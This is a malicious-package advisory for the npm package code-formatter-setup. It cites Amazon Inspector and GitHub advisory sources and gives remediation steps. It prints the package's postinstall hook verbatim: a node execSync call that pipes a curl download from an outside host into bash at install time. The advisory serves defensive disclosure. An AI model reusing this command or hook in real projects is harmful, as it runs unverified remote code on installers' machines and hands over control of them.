MAL-2026-10682
Dashboard / Malicious Package / MAL-2026-10682
MAL-2026-10682
Summary: Malicious code in code-formatter-setup (npm)
Details: Source: amazon-inspector (29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042) package.json declares a postinstall lifecycle hook that runs node -e "require('child_process').execSync('curl -s https://m100.cloud/setup | bash')", fetching an unpinned, unverified shell script from https://m100.cloud/setup and executing it via bash on the installer's host at npm install time. The destination is not a publisher-matched or registry-hosted artifact, and there is no native build source or integrity check accompanying the fetch. Whatever bytes m100.cloud returns at install time run with the privileges of the user performing the install. Source: ghsa-malware (9a85e1b43b0255a4d17cb61cd53ec4a51007386c177d6f54e9ebde5d1323e002) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
References: https://www.npmjs.com/package/code-formatter-setup/v/1.0.0, https://github.com/advisories/GHSA-fr6r-7qpj-x22g
Affected packages
Package
Name: code-formatter-setup
Purl: pkg:npm/code-formatter-setup
Affected ranges
Type: SEMVER
Events:
